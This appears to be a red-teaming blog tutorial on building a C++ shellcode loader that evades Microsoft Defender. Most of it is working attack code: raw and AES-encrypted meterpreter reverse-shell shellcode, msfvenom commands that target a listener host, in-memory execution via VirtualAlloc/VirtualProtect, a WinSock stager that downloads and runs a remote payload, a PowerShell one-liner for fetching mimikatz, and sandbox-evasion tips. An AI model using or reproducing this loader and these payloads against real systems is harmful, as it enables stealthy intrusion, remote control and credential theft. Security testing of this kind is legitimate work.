Red teaming: Evading AV

Hi security enthusiasts, today we are going to write a simple malware in C++ that will run our shellcode. Techniques described in this post are useful in red teaming activities when you faced Windows Systems.
I will not cover the part of the delivery of this payload, in nutshell, it may be dropped with phishing techniques or after exploitation of a vulnerable service, but it is not a point of this post.
I am using Win 11 VM with MS Defender
AV/EDR evasion is a hot topic across penetration testers. Nowadays AVs use different techniques to analyze whether your application is malicious or not: static, dynamic, and behavioral analyses. This post is about evading the first two.
Let’s get our hands dirty and implement simple malware and check how it is going in the env with enabled MS Defender
Here is a code snippet:
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f"
"\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x8b"
"\x42\x3c\x48\x01\xd0\x41\x51\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x44\x8b\x40\x20\x8b\x48\x18\x49\x01"
"\xd0\x50\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88"
"\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x41\x58\x41\x58"
"\x48\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x11\x5b\xc0\xa8\x50\x80\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";
int main()
{
size_t size = sizeof(buf);
DWORD op = 0;
LPVOID payload = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (payload) {
RtlZeroMemory(payload, size);
RtlMoveMemory(payload, buf, size);
} else return 0;
if (VirtualProtect(payload, size, PAGE_EXECUTE_READ, &op)) {
((void(*)())payload)();
}
VirtualFree(payload, size, MEM_RELEASE);
return 0;
}
Let’s check this logic. We want to run our shellcode in the memory of the process unlike storing it on the disk, to decrease the chances to be detected by AV
I created a staged meterpreter reverse shell with the following command:
msfvenom -p windows/x64/meterpreter/reverse_tcp EXIT_FUNC=PROCESS LHOST=192.168.80.128 LPORT=4443 -f c -o meterpreter.c
To run the shellcode in the memory we have to create a new memory buffer with Writable and Executable permissions and copy our payload into the buffer:
LPVOID payload = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (payload) {
RtlZeroMemory(payload, size);
RtlMoveMemory(payload, buf, size);
} else return 0;
if (VirtualProtect(payload, size, PAGE_EXECUTE_READ, &op)) {
((void(*)())payload)();
}
Memory allocation is done in two parts:
- Allocate READ-WRITE memory and copy our payload there
- Changing permission to executable
That way we will be less suspicious of AV because having readable, writable, and executable memory is not a common case
and start executing this buffer:
((void(*)())lpPayload)();
I set up a listener in Metasploit on my Kali Linux and run our new binary and nothing …

MS Defender recognized it as malware.
As we used plain meterpreter shellcode AV easily could recognize its patterns therefore we even did not spawn a shell.
To get around this detection we could encrypt our payload
I am using AES to encrypt and decrypt shellcode: aes.cpp, aes.h
#define IV "1234567890123456"
#define KEY "12345678901234561234567890123456"
unsigned char buf[] =
"\x72\x36\x17\x64\x74\x8f\x3a\x49\xad\x9c\xaa\x35\x2a\xa8"
"\xd3\xcc\x44\x7a\x02\x93\x05\x76\x1e\x87\xed\xf3\xc2\x96"
"\xb3\xfc\xe1\xe5\x6e\x09\xe4\xe9\x54\xb0\xf7\x0e\x8d\xb2"
"\xc2\x64\x6d\x89\x63\x7c\x5d\x16\xdf\xed\x20\xf1\xc0\xbb"
"\x9c\xb0\x04\x52\x39\x60\xd3\x1d\x8b\xed\x6c\xb2\x58\x44"
"\x78\x75\x08\x0e\xd7\x47\x78\x64\x88\x4e\xe3\x77\xe4\xd5"
"\xbc\x10\x59\x73\x21\xa1\x7b\x2b\xad\xca\xbe\xa5\x3e\x19"
"\xf5\x1b\x89\x36\xa6\x03\x12\x8f\x5a\xc3\x7a\x64\x1f\x71"
"\xf4\x0e\xc2\x72\x38\x3e\x0b\xe9\x65\x52\x31\x37\x56\x68"
"\x25\x8f\x71\x22\x1e\x47\xb2\x79\x8d\xc8\xa5\x63\xe7\x43"
"\xed\xa4\x5a\x67\xff\x17\xf1\x78\xd0\xc1\x59\xe4\x9b\x4c"
"\x0e\x4f\xdc\xb1\x16\x0f\xcd\x7d\x5a\xc0\x13\xf5\xc9\xa8"
"\xf3\xdd\xea\xf6\x5f\xba\x98\x3d\x13\x4b\x94\x40\x79\xcf"
"\x4f\x3e\xbb\xb5\x32\x10\x8a\xb6\xbe\x32\xba\x91\xdf\x6e"
"\x29\x08\x64\x44\xd7\x30\xa7\x42\x2a\x1b\x23\x46\xbc\x84"
"\x8d\x97\xcb\x3b\x3f\x58\x1b\x1f\x2b\x9b\x96\x20\x20\x31"
"\x58\xe7\xae\x28\x15\x3d\xf4\x37\xa9\xe8\xdc\x8d\xea\x4e"
"\x2d\xa9\xe2\xd1\xa3\x5e\xcf\x45\x25\x2b\x71\x69\x38\x63"
"\xe9\x0a\x3b\x65\x70\xa8\x74\xc8\x42\xa2\xbf\x2b\x40\x8a"
"\x5e\x33\x06\xf5\x83\x84\x0a\xc4\x41\x26\x39\x79\xf2\x6f"
"\x76\xc9\x47\x0e\x1b\x41\x07\x10\xe2\x29\x55\x2e\xe6\xae"
"\x27\xff\xb0\x26\xec\xd4\x47\xf5\xe0\x83\x7f\x83\x62\x29"
"\x3b\x2e\xdc\x7a\x3a\x25\xab\x49\xfe\x76\xff\x5c\xd5\x08"
"\xa4\x04\xff\x97\x84\x66\xfa\x1a\x0f\x20\x27\xef\xa0\xd7"
"\x6c\x4c\x7e\x6c\x72\xa4\x8b\x98\xb8\x61\xcd\x32\x1d\x00"
"\x66\xdd\x65\x8a\xb7\xb0\x87\xe1\xd8\x9b\x66\xb7\x50\xeb"
"\xbf\x8f\x61\x8b\x96\xf8\x4c\x53\x05\x1a\x39\x31\x94\x83"
"\x00\x37\x3c\xe0\x42\x8d\xba\xdc\xa3\xc6\x28\xef\xb3\x68"
"\xcf\xdb\x25\xc0\xa1\x99\x7c\xd6\x72\x4d\x6a\xdf\xeb\x19"
"\x81\xfe\x43\xfb\x60\x6b\xcb\x19\xa9\x9b\xc8\xf1\x77\xc8"
"\xdd\xc7\xdd\xbf\x53\xf5\x69\x14\xe7\xe0\x35\xfa\x6d\x50"
"\x02\xb5\xc9\xe8\xb6\xec\x36\xc2\x90\x5b\x1d\xfd\x07\x38"
"\xdf\x4a\xce\xcf\x3c\xad\xc0\xf1\x25\x75\x79\x49\x82\x6a"
"\xf8\x7f\xc4\xc4\x91\xf1\x1b\x32\x9a\xa9\x1a\xe1\x87\xfe"
"\xd2\x92\xa8\x85\x72\xbc\x79\x1b\xfe\x07\xbf\xf3\x93\x60"
"\x3a\x5b\x9f\x05\xa5\x96\xd1\x2d\x18\x70\xc1\x7d\x89\x86"
"\xba\x68\x51\x44\xc1\x63\xd3\x1a";
void AES256Decrypt(uint8_t* toDec, uint8_t* IV, const char* Key, size_t Size)
{
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, Key, IV);
AES_CBC_decrypt_buffer(&ctx, toDec, Size);
memcpy((char*)toDec + Size, "\x00", 1);
}
int main()
{
size_t size = sizeof(buf);
DWORD op = 0;
LPVOID payload = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (payload) {
RtlZeroMemory(payload, size);
RtlMoveMemory(payload, buf, size);
} else return 0;
AES256Decrypt((uint8_t*)payload, (uint8_t*)IV, KEY, size);
if (VirtualProtect(payload, size, PAGE_EXECUTE_READ, &op)) {
((void(*)())payload)();
}
VirtualFree(payload, size, MEM_RELEASE);
return 0;
}
I regenerated the payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp EXIT_FUNC=PROCESS LHOST=192.168.80.128 LPORT=4443 — encrypt aes256 — encrypt-iv 1234567890123456 — encrypt-key 12345678901234561234567890123456 -f c -o meterpreter.c
rebuilt the binary and run listener in metasploit:

and now we spawn meterpreter shell and looks like it was not detected
but running hash dump was detected by AV:


and nothing new because mimikatz is already flagged by AV, this is not the topic for this post, but you can spawn Powershell prompt and download your own precompiled mimikatz if you wish:
iwr -outf <your file> https://address/file
There are other blockers you can face, e.g sandboxes. There is numerous way to enhance your malware to bypass them, I just mention a few of them:
- because sandbox resources are restricted it may not have much time to analyze your malware, adding a sleep() before the execution of your payload decrease the chances of being detected
- you can use the functionality that may not work in an emulated environment, like VirtualAllocExNuma
- you can put your encrypted payload or encryption key on the remote server and fetch them, if malware is placed in a sandbox it may not have an internet connection and then failed execution because it can not download shellcode hence malicious activity will not be detected — we will implement this in the post
We are going to remove the shellcode from the binary and add new functionality — it should download files from the remote server by URL and store them in the memory.
I asked ChatGPT to write C++ code to download any file from a remote server by a given URL using WinSock and store the content in the memory:
unsigned char* downloadFile(const char* url, size_t* size)
{
// Parse the URL
char host[256] = "";
char path[1024] = "";
if (sscanf(url, "http://%255[^/]/%1023s", host, path) != 2) {
std::cerr << "Error: Invalid URL format." << std::endl;
return nullptr;
}
// Initialize Winsock
WSADATA wsaData;
int result = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (result != 0) {
std::cerr << "Error: WSAStartup failed, code " << result << std::endl;
return nullptr;
}
// Resolve the server address
struct addrinfo hints = { 0 };
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
struct addrinfo* addrResult = nullptr;
result = getaddrinfo(host, "http", &hints, &addrResult);
if (result != 0) {
std::cerr << "Error: getaddrinfo failed, code " << result << std::endl;
WSACleanup();
return nullptr;
}
// Create a socket
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
std::cerr << "Error: socket creation failed, code " << WSAGetLastError() << std::endl;
freeaddrinfo(addrResult);
WSACleanup();
return nullptr;
}
// Connect to the server
result = connect(sock, addrResult->ai_addr, (int)addrResult->ai_addrlen);
if (result == SOCKET_ERROR) {
std::cerr << "Error: connect failed, code " << WSAGetLastError() << std::endl;
freeaddrinfo(addrResult);
closesocket(sock);
WSACleanup();
return nullptr;
}
// Send the HTTP request
std::string request = "GET /" + std::string(path) + " HTTP/1.1\r\n";
request += "Host: " + std::string(host) + "\r\n";
request += "Connection: close\r\n\r\n";
result = send(sock, request.c_str(), (int)request.length(), 0);
if (result == SOCKET_ERROR) {
std::cerr << "Error: send failed, code " << WSAGetLastError() << std::endl;
freeaddrinfo(addrResult);
closesocket(sock);
WSACleanup();
return nullptr;
}
// Receive the HTTP response
std::vector<unsigned char> content;
char buffer[1024];
do {
result = recv(sock, buffer, sizeof(buffer), 0);
if (result > 0) {
content.insert(content.end(), buffer, buffer + result);
}
else if (result == 0) {
break;
}
else {
std::cerr << "Error: recv failed, code " << WSAGetLastError() << std::endl;
freeaddrinfo(addrResult);
closesocket(sock);
WSACleanup();
return nullptr;
}
} while (true);
// Clean up
freeaddrinfo(addrResult);
closesocket(sock);
WSACleanup();
// Check if the response is valid
std::string contentStr(content.begin(), content.end());
size_t pos = contentStr.find("\r\n\r\n");
if (pos == std::string::npos) {
std::cerr << "Error: Invalid HTTP response." << std::endl;
return nullptr;
}
// Skip the HTTP header
pos += 4;
size_t contentSize = content.size() - pos;
// Allocate memory for the content
unsigned char* contentPtr = new unsigned char[contentSize];
std::memcpy(contentPtr, &content[pos], contentSize);
// Set the output parameter
*size = contentSize;
// Return the content pointer
return contentPtr;
}
updating our sources with new functionality:
#include "aes.h"
#include <Windows.h>
#include <string.h>
#include <stdlib.h>
#include <iostream>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <vector>
using std::string;
using namespace std;
#pragma comment(lib, "ws2_32.lib")
#define IV "1234567890123456"
#define KEY "12345678901234561234567890123456"
void AES256Decrypt(uint8_t* toDec, uint8_t* IV, const char* Key, size_t Size)
{
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, Key, IV);
AES_CBC_decrypt_buffer(&ctx, toDec, Size);
memcpy((char*)toDec + Size, "\x00", 1);
}
unsigned char* downloadFile(const char* url, size_t* size)
{
// Parse the URL
char host[256] = "";
char path[1024] = "";
if (sscanf(url, "http://%255[^/]/%1023s", host, path) != 2) {
std::cerr << "Error: Invalid URL format." << std::endl;
return nullptr;
}
// Initialize Winsock
WSADATA wsaData;
int result = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (result != 0) {
std::cerr << "Error: WSAStartup failed, code " << result << std::endl;
return nullptr;
}
// Resolve the server address
struct addrinfo hints = { 0 };
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
struct addrinfo* addrResult = nullptr;
result = getaddrinfo(host, "http", &hints, &addrResult);
if (result != 0) {
std::cerr << "Error: getaddrinfo failed, code " << result << std::endl;
WSACleanup();
return nullptr;
}
// Create a socket
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
std::cerr << "Error: socket creation failed, code " << WSAGetLastError() << std::endl;
freeaddrinfo(addrResult);
WSACleanup();
return nullptr;
}
// Connect to the server
result = connect(sock, addrResult->ai_addr, (int)addrResult->ai_addrlen);
if (result == SOCKET_ERROR) {
std::cerr << "Error: connect failed, code " << WSAGetLastError() << std::endl;
freeaddrinfo(addrResult);
closesocket(sock);
WSACleanup();
return nullptr;
}
// Send the HTTP request
std::string request = "GET /" + std::string(path) + " HTTP/1.1\r\n";
request += "Host: " + std::string(host) + "\r\n";
request += "Connection: close\r\n\r\n";
result = send(sock, request.c_str(), (int)request.length(), 0);
if (result == SOCKET_ERROR) {
std::cerr << "Error: send failed, code " << WSAGetLastError() << std::endl;
freeaddrinfo(addrResult);
closesocket(sock);
WSACleanup();
return nullptr;
}
// Receive the HTTP response
std::vector<unsigned char> content;
char buffer[1024];
do {
result = recv(sock, buffer, sizeof(buffer), 0);
if (result > 0) {
content.insert(content.end(), buffer, buffer + result);
}
else if (result == 0) {
break;
}
else {
std::cerr << "Error: recv failed, code " << WSAGetLastError() << std::endl;
freeaddrinfo(addrResult);
closesocket(sock);
WSACleanup();
return nullptr;
}
} while (true);
// Clean up
freeaddrinfo(addrResult);
closesocket(sock);
WSACleanup();
// Check if the response is valid
std::string contentStr(content.begin(), content.end());
size_t pos = contentStr.find("\r\n\r\n");
if (pos == std::string::npos) {
std::cerr << "Error: Invalid HTTP response." << std::endl;
return nullptr;
}
// Skip the HTTP header
pos += 4;
size_t contentSize = content.size() - pos;
// Allocate memory for the content
unsigned char* contentPtr = new unsigned char[contentSize];
std::memcpy(contentPtr, &content[pos], contentSize);
// Set the output parameter
*size = contentSize;
// Return the content pointer
return contentPtr;
}
int run()
{
DWORD op = 0;
size_t size = 0;
auto shellcode = downloadFile("http://192.168.80.128/epayload.bin", &size);
LPVOID payload = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (payload) {
RtlZeroMemory(payload, size);
RtlMoveMemory(payload, shellcode, size);
}
else return 0;
AES256Decrypt((uint8_t*)payload, (uint8_t*)IV, KEY, size);
if (VirtualProtect(payload, size, PAGE_EXECUTE_READ, &op)) {
((void(*)())payload)();
}
VirtualFree(payload, size, MEM_RELEASE);
return 0;
}
int main()
{
run();
return 0;
}
Start the remote HTTP server on a separate machine and store your shellcode there, you can generate it with:
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.80.128 lport=4443 — encrypt aes256 — encrypt-iv 1234567890123456 — encrypt-key 12345678901234561234567890123456 -f raw — platform Windows > epayload.bin
Then set up your listener and build your binary and run it:

That is all for today. Thank you for reading, I hope it helps you😊